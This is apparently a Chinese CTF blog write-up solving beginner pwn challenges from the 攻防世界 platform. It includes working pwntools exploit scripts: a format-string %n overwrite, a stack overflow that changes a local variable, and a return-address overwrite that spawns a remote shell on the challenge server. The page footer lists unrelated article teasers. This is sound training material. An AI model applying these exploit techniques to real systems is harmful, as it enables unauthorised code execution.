攻防世界 Pwn wp

0x01get_shell

下载附件后直接丢IDA F5

图片.png

用LINUX加载这个文件
图片.png

111.198.29.45 43241
system("/bin/sh") 的功能为:执行/bin/sh shell命令。这样我们就可以获得交互,通过shell命令访问目标主机
图片.png

nc命令详解
手把手教你栈溢出从入门到放弃 上
手把手教你栈溢出从入门到放弃 下

0x02CGfsb

先用checksec查看开了哪些保护


图片.png

32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护)

pwntools的使用
利用过程:通过格式化字符串漏洞,将 pwnme 的值修改成8。

格式化字符串
%[parameter][flags][field width][.precision][length]type

参考wp https://blog.csdn.net/zz_Caleb/article/details/88980866
%n的作用是不输出字符(printf调用之后没有字符输出),但是把成功输入的字符个数写入指定地址的。%in,是把值写入第i个参数。格式化字符串修改任意地址的值,首先找偏移用GDB调试后发现传进去的数据在第十给偏移量的位置,写脚本,修改pwnme的值为8. %n 将当前已打印字符的个数(4个字节)%<正整数n>< fmt>指定占位符对应第n个参数,例如:%12$x,此处%x对应第12个参数。 通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’

from pwn import *
 
p = remote('111.198.29.45', 49625)
pwnme = 0x0804A068
 
payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'
 
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())
图片.png

0x03when_did_you_born

get()必有溢出

图片.png

判断两次v5,发现程序是矛盾的,若第一次v5=1926,就跳过cat flag了
因此需要利用栈溢出来修改v5为1926


图片.png

发现v4 v5 相差了8个字节
exp:

from pwn import *

r = remote("111.198.29.45", 58805)

payload = 'a' * (0x20 - 0x18) + p64(1926)

r.recvuntil("What's Your Birth?\n")
r.sendline("2000")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()

0x04hello_pwn

so easy


图片.png

0x05level0

可以在read时,将函数返回地址覆盖为callsystem(bin/sh)函数地址,则可实现漏洞利用

from pwn import *  #导入pwntools中pwn包的所有内容
 
p = remote('111.198.29.45',33907)  # 链接服务器远程交互,等同于nc ip 端口 命令
 
elf = ELF('./ea3758e885904101913f7be6fff1bb2d')  # 以ELF文件格式读取ea3758e885904101913f7be6fff1bb2d文件
 
sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem标记的地址
 
payload = 'a'*(0x80 + 8) + p64(sysaddr)  # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
 
p.recv()  #接收输出
 
p.send(payload)  # 发送payload
 
p.interactive()  # 反弹shell进行交互
图片.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,657评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,889评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,057评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,509评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,562评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,443评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,251评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,129评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,561评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,779评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,902评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,621评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,220评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,838评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,971评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,025评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,843评论 2 354

推荐阅读更多精彩内容

  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,745评论 0 10
  • feisky云计算、虚拟化与Linux技术笔记posts - 1014, comments - 298, trac...
    不排版阅读 3,849评论 0 5
  • win7 cmd管理员权限设置 net localgroup administrators 用户名 /add 把“...
    f675b1a02698阅读 5,187评论 0 11
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    Littleston阅读 3,319评论 0 12
  • 事件 事件的定义:能够发生的事情 事件的角色:使对象拥有通知能力的成员。 使用:用于对象或者类之间的动作协调与信息...
    TALY阅读 278评论 0 0